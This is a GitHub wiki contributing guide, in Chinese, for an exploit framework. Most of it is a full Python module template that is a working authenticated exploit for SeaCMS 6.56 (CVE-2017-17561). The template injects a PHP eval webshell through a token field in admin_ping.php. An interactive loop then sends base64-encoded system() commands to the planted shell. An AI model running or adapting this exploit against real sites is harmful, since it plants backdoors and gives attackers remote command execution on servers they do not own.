Contributing to Exploit Framework - WangYihang/Exploit-Framework GitHub Wiki
贡献代码:
流程:
假设已经发现了某个 CMS 的漏洞, 可以 GetShell
可以使用如下流程来完成 Payload 的编写
例如 CMS 名称为 SniperCMS
并且该漏洞已经拿到了 CVE-ID 为 CVE-2017-6666
- Fork该仓库
- 在仓库目录下: ROOT/exploit/ 创建文件夹: snipercms
- 在 ROOT/exploit/snipercms/ 下创建 Python 文件: cve_2017_6666.py (注意分隔符为下划线)
- 将下面代码拷贝到该文件中
- 根据漏洞利用方式, 修改类 Exploit 中 config 这个变量
- 修改 Exploit 类的 show_info 函数, 填写入漏洞的相关信息
- 实现 Exploit 类的 exploit 函数, 在该函数中完成核心漏洞利用
- (可选) 如果可以 GetShell, 可以在 exploit 函数完成漏洞利用之后, 调用 Exploit 类的 interactive 函数实现获取一个伪终端
- 测试成功之后, Push 到 GitHub 之后, 即可在 GitHub 发起 Pull Request
漏洞模块位于: ROOT/exploit/[Vendor]/[Exploit-Name]
其中 Vendor 为厂商名称, 如某CMS存在漏洞, Vendor即CMS名称, 英文小写
Exploit-Name 为漏洞名称, 纯英文小写, 尽量保持精炼简洁, 该文件为该漏洞的利用脚本
该文件模板如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
try:
from core.log import Log
from core.log import color
except Exception as e:
import sys
sys.path.append("../../core/log")
from Log import Log
from Log import color
class Exploit:
# 定义该漏洞利用的配置信息
# 备注:
# necessity 表示该参数是否必须配置
# default 为该参数的默认值
config = {
"remote_host": {"default": "127.0.0.1", "necessity": True},
"remote_port": {"default": 80, "necessity": True},
"admin_path": {"default": "admin", "necessity": True},
# "session_auth": {"default": True, "necessity":True},
"session_id": {"default": "", "necessity": True},
# "admin_user": {"default": "admin", "necessity":True},
# "admin_pwd": {"default": "admin", "necessity":True},
"webshell": {"default": "eval($_REQUEST[__PASSWORD__])", "necessity": True},
"shell_pwd": {"default": "c", "necessity": True},
"interactive": {"default": True, "necessity": True}
}
# 如果该漏洞可以 GetShell, 该变量存储 shell 的 url
webshell_url = ""
session = requests.Session()
def __init__(self):
pass
def exploit(self):
'''
漏洞利用的核心代码, 在此函数中完成漏洞利用
'''
Log.info("Lauching the exploition...")
host = self.get_config("remote_host")
port = self.get_config("remote_port")
admin_path = self.get_config("admin_path")
# session_auth = self.get_config("session_auth")
session_id = self.get_config("session_id")
# username = self.get_config("username")
# password = self.get_config("password")
webshell_password = self.get_config("shell_pwd")
webshell = self.get_config("webshell").replace(
"__PASSWORD__", webshell_password)
url = "http://%s:%d/%s/admin_ping.php?action=set" % (
host, port, admin_path)
data = {
"weburl": "www.seacms.net",
"token": "123456789\";$var=%s.\"" % (webshell)
}
cookies = {
"PHPSESSID": session_id
}
Log.info("Data: %s" % (data))
Log.info("Session: %s" % (cookies))
try:
response = requests.post(url, data=data, cookies=cookies)
self.webshell_url = "http://%s:%d/data/%s/ping.php" % (
host, port, admin_path)
if response.status_code == 200:
Log.success("Exploit success!")
Log.success("Webshell is stored at: %s" % (self.webshell_url))
Log.success("Password is %s" % (webshell_password))
if self.get_config("interactive") == True:
self.interactive()
return True
else:
return False
except Exception as e:
Log.error(str(e))
return False
def show_options(self):
'''
输出该模块的选项信息 (即之前定义的 config)
由 options 命令触发
通常不需要改动
'''
Log.warning("Options\t\tNecessity\t\tDefault")
Log.warning("-------\t\t---------\t\t-------")
for key in sorted(self.config.keys()):
Log.warning("%s\t\t%s\t\t\t%s" % (
key, self.config[key]["necessity"], self.get_config(key)))
def set_config(self, key, value):
'''
对模块的参数进行修改
由 set 命令触发
通常不需要改动
'''
if key in self.config.keys():
self.config[key]["default"] = value
else:
Log.error("No such option!")
def get_config(self, key):
return self.config[key]["default"]
def interactive(self):
'''
在成功拿到 WebShell 之后, 可以利用该函数获得一个伪终端
这里判断了 webshell_url 这个变量是否为空
因此, 在拿到 webshell 地址后, 需要将 webshell_url 进行设置
'''
if self.webshell_url == "":
Log.error("Webshell is dead!")
return
while True:
command = raw_input("$ ")
if command == "exit":
break
data = {
self.get_config("shell_pwd"):"system(base64_decode('%s'));die();" % (command.encode("base64").replace("\n", ""))
}
print data
try:
Log.success(self.session.post(self.webshell_url, data=data).content)
except Exception as e:
Log.error(str(e))
return False
def show_info(self):
'''
模块(漏洞)的详细信息, 包括名称, 影响版本, 作者, 参考链接等等
该函数在模块被加载的时候自动调用
需要将其中的信息修改为对应的模块信息
'''
Log.info("Name: SeaCMS(6.56) Authenticated GetShell (CVE-2017-17561)")
Log.info("Effected Version: <=6.56")
Log.info("Author: WangYihang")
Log.info("Email: [email protected]")
Log.info("Refer:")
Log.info("\thttps://gist.github.com/WangYihang/9507e2efdceb67a5bc2761200f19f213")
Log.info("\thttps://nvd.nist.gov/vuln/detail/CVE-2017-17561")
def main():
'''
测试用例
'''
exploit = Exploit()
exploit.show_info()
exploit.set_config("remote_host", "192.168.187.1")
exploit.set_config("session_id", "b6aia8tltrqtie7h0pjojelml3")
exploit.set_config("shell_pwd", "hacker")
exploit.show_options()
exploit.exploit()
if __name__ == "__main__":
main()